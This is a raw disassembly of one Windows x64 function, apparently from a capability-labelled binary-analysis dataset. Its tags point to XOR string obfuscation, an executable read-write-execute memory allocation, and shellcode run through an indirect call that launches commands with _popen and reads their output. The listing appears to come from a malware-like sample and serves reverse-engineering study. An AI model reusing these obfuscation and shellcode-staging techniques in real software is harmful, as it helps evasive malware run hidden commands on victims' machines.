Function at 0x14000b6e0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2c8]
sub rsp, 0x3a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
mov rax, qword [0x1400880c0]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov rdi, rcx
mov qword [rbp - 0x60], rcx
mov qword [rsp + 0x38], rcx
xor r15d, r15d
movups xmm0, xmmword [0x14006ff50]
movups xmmword [rsp + 0x38], xmm0
movsd xmm0, qword [0x14006ff60]
movsd qword [rsp + 0x48], xmm0
movdqa xmm8, xmmword [0x140070b60]
movdqa xmm10, xmmword [0x140070b80]
movdqa xmm9, xmmword [0x140070b50]
movdqa xmm6, xmmword [0x140070b90]
movdqa xmm7, xmmword [0x140070b30]
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14006ff67], r15b
je 0x14000b8e0
cmp r13d, 2
jl 0x14000b8a5
mov edx, r15d
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x3c]
mov r8d, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14000b7c0
jmp 0x14000b8e0
lea r9, [rsp + 0x38]
mov r8d, r15d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14000b8b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
lea rax, [rsp + 0x38]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x14000b900
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x50]
call fcn.1400020c0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r15
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
movzx eax, word [0x14006ff68]
mov word [rsp + 0x30], ax
cmp byte [0x14006ff69], 0
je 0x14000b94e
mov byte [rsp + 0x30], WSAStartup
xor byte [rsp + 0x31], 0x36
lea rax, [rsp + 0x30]
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rax, qword [rbp + 0x50]
mov qword [rsp + 0x38], rax
movups xmmword [rsp + 0x60], xmm0
lea rax, [rbp + 0x2c8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rsp + 0x60], rbx
mov qword [rax], r15
mov ecx, r15d
mov r14d, 3
lea r8, [0x140001a00]
lea r12, [0x140000000]
mov rax, qword [0x14008d3e0]
test rax, rax
je 0x14000b9e9
mov rdx, r15
nop
cmp rax, r8
je 0x14000b9d8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x8d3e0]
test rax, rax
jne 0x14000b9c0
jmp 0x14000b9e9
mov r9, qword [r12 + rdx*8 + 0x8d700]
test r9, r9
jne 0x14000bad1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
lea r8, [0x140001a00]
test rax, rax
jne 0x14000ba19
mov r9, r15
jmp 0x14000bab0
mov rax, r8
mov rcx, r9
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000ba22
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14008d3d0]
mov qword [r12 + rax*8 + 0x8d3e0], r8
mov qword [r12 + rax*8 + 0x8d700], r9
inc rax
mov qword [0x14008d3d0], rax
lea r8, [rbp - 0x40]
lea rdx, [rsp + 0x38]
mov rcx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
call r9
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
lea rcx, [rbp + 0x2c8]
mov qword [rcx], rbx
mov qword [rbp - 0x38], rax
test rax, rax
jne 0x14000be8c
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
movups xmm0, xmmword [0x14006ff70]
movups xmmword [rbp - 0x60], xmm0
mov eax, dword [0x14006ff80]
mov dword [rbp - 0x50], eax
cmp byte [0x14006ff83], 0
je 0x14000bc7c
mov ecx, r15d
cmp r13d, 2
jl 0x14000bc38
movdqa xmmword [rsp + 0x60], xmm10
lea rdx, [rbp - 0x5c]
mov r8d, dword [rsp + 0x60]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x14000bb50
cmp ecx, 0x14
jge 0x14000bc7c
movsxd rax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x14000bc50
lea rdx, [rbp - 0x60]
mov rcx, r9
call fcn.1400012a0
lea rdx, [0x140003d50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14006ff90]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x14006ff94]
movsd xmm0, qword [0x14006ff88]
mov byte [rbp - 0x54], al
movsd qword [rbp - 0x60], xmm0
mov ebx, r15d
cmp r13d, 2
jl 0x14000bd90
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm7, xmm0
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd eax, xmm10
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [0x14006ff88]
xorps xmm7, xmm0
movd dword [rbp - 0x60], xmm7
movdqa xmm2, xmmword [0x140070b40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x5c]
xorps xmm2, xmm1
movd dword [rbp - 0x5c], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rbp - 0x60]
add r8, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, bl
sub al, cl
add al, 0x35
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x14000bda0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r15
lea rax, [rbp - 0x60]
nop
inc rsi
cmp byte [rax + rsi], 0
jne 0x14000bde0
mov r8, rsi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call fcn.1400020c0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000be37
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000be32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000be32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
mov qword [rbp], r15
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000d8d4
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d8cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d8cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r8, rax
mov edx, 0x80
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x14000bf46
nop word [rax + rax]
lea rax, [rbp + 0x1c0]
mov rdi, rsi
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000bec0
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000bf0c
lea rax, [rcx + rdi]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x14000bf27
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x1c0]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.1400029c0
mov r8, qword [rbp - 0x38]
mov edx, 0x80
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x14000beb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea rdi, [rbp + 0x2c8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rdi
mov rbx, qword [rdi]
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [rdi], r15
mov ecx, r15d
lea r8, [0x140001620]
mov rax, qword [0x14008da30]
test rax, rax
je 0x14000bfb9
mov rdx, r15
cmp rax, r8
je 0x14000bfa8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x8da30]
test rax, rax
jne 0x14000bf90
jmp 0x14000bfb9
mov r8, qword [r12 + rdx*8 + 0x8dd50]
test r8, r8
jne 0x14000c0a1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x140001620]
test rax, rax
jne 0x14000bfe9
mov r8, r15
jmp 0x14000c080
mov rax, r9
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000bff2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14008da20]
mov qword [r12 + rax*8 + 0x8da30], r9
mov qword [r12 + rax*8 + 0x8dd50], r8
inc rax
mov qword [0x14008da20], rax
lea rdx, [rbp - 0x38]
mov rcx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
call r8
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
mov qword [rdi], rbx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], rax
movups xmm0, xmmword [0x14006ff98]
movups xmmword [rsp + 0x38], xmm0
movsd xmm0, qword [0x14006ffa8]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [0x14006ffb0]
mov dword [rsp + 0x50], eax
cmp byte [0x14006ffb3], 0
je 0x14000c260
mov r8d, r15d
cmp r13d, 2
jl 0x14000c21b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x3c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000c130
cmp r8d, 0x1c
jge 0x14000c260
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x14000c230
mov r8d, 1
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xb8]
call fcn.140004640
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x150], r15
mov byte [rbp + 0x158], 0
movdqu xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
mov qword [rbp + 0x180], r15
mov byte [rbp + 0x188], 0
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x1a0], 0
mov qword [rbp + 0x1a8], r15
mov qword [rbp + 0x1b0], r15
mov byte [rbp + 0x1b8], 0
movsd xmm0, qword [0x14006ffb8]
movsd qword [rsp + 0x38], xmm0
mov eax, dword [str.tPY_A]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x14006ffc4]
mov byte [rsp + 0x44], al
mov r8d, r15d
mov ebx, 8
cmp r13d, 2
jl 0x14000c3ef
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x14006ffb8]
xorps xmm1, xmm0
movd dword [rsp + 0x38], xmm1
movdqa xmm2, xmmword [0x140070b40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x3c]
xorps xmm2, xmm1
movd dword [rsp + 0x3c], xmm2
mov r8d, ebx
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000c400
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], r15
lea rax, [rsp + 0x38]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c450
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x10]
call fcn.1400020c0
nop
movups xmm0, xmmword [0x14006ffc8]
movups xmmword [rsp + 0x38], xmm0
movzx eax, word [0x14006ffd8]
mov word [rsp + 0x48], ax
cmp byte [0x14006ffd9], 0
je 0x14000c5e0
mov r8d, r15d
cmp r13d, 2
jl 0x14000c59b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x3c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000c4b0
cmp r8d, 0x12
jge 0x14000c5e0
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14000c5b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], r15
lea rax, [rsp + 0x38]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c600
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x30]
call fcn.1400020c0
nop
lea r10, [rbp - 0x10]
mov r9, qword [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova r10, r9
lea rcx, [rbp - 0x10]
cmova rcx, r9
mov rdx, qword [rbp]
add rdx, rcx
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rcx, r9
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0xb8]
lea r8, [rbp + 0x150]
call fcn.140002fa0
movabs r10, 0x7fffffffffffffff
movabs r11, 0x8000000000000000
test al, al
je 0x14000d62d
mov rcx, qword [rbp + 0x168]
mov r8, qword [rbp + 0x160]
sub rcx, r8
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
jbe 0x14000d62d
cmp byte [r8 + 0x28], 0
je 0x14000c6c8
movups xmm0, xmmword [r8 + 0x18]
movups xmmword [rsp + 0x60], xmm0
jmp 0x14000c6d1
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
cmp rdx, r8
jne 0x14000c6fd
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
jmp 0x14000c709
sub r8, rdx
lea rcx, [rbp - 0x80]
call fcn.1400020c0
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x10]
call fcn.140005190
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000c751
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c74c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d413
call fcn.14006d140
movsd xmm0, qword [0x140070000]
movsd qword [rsp + 0x38], xmm0
mov eax, dword [0x140070008]
mov dword [rsp + 0x40], eax
cmp byte [0x14007000b], 0
je 0x14000c890
mov r8d, r15d
cmp r13d, 2
jl 0x14000c853
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140070000]
xorps xmm1, xmm0
movd dword [rsp + 0x38], xmm1
movdqa xmm2, xmmword [0x140070b40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x3c]
xorps xmm2, xmm1
movd dword [rsp + 0x3c], xmm2
mov r8d, ebx
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14000c860
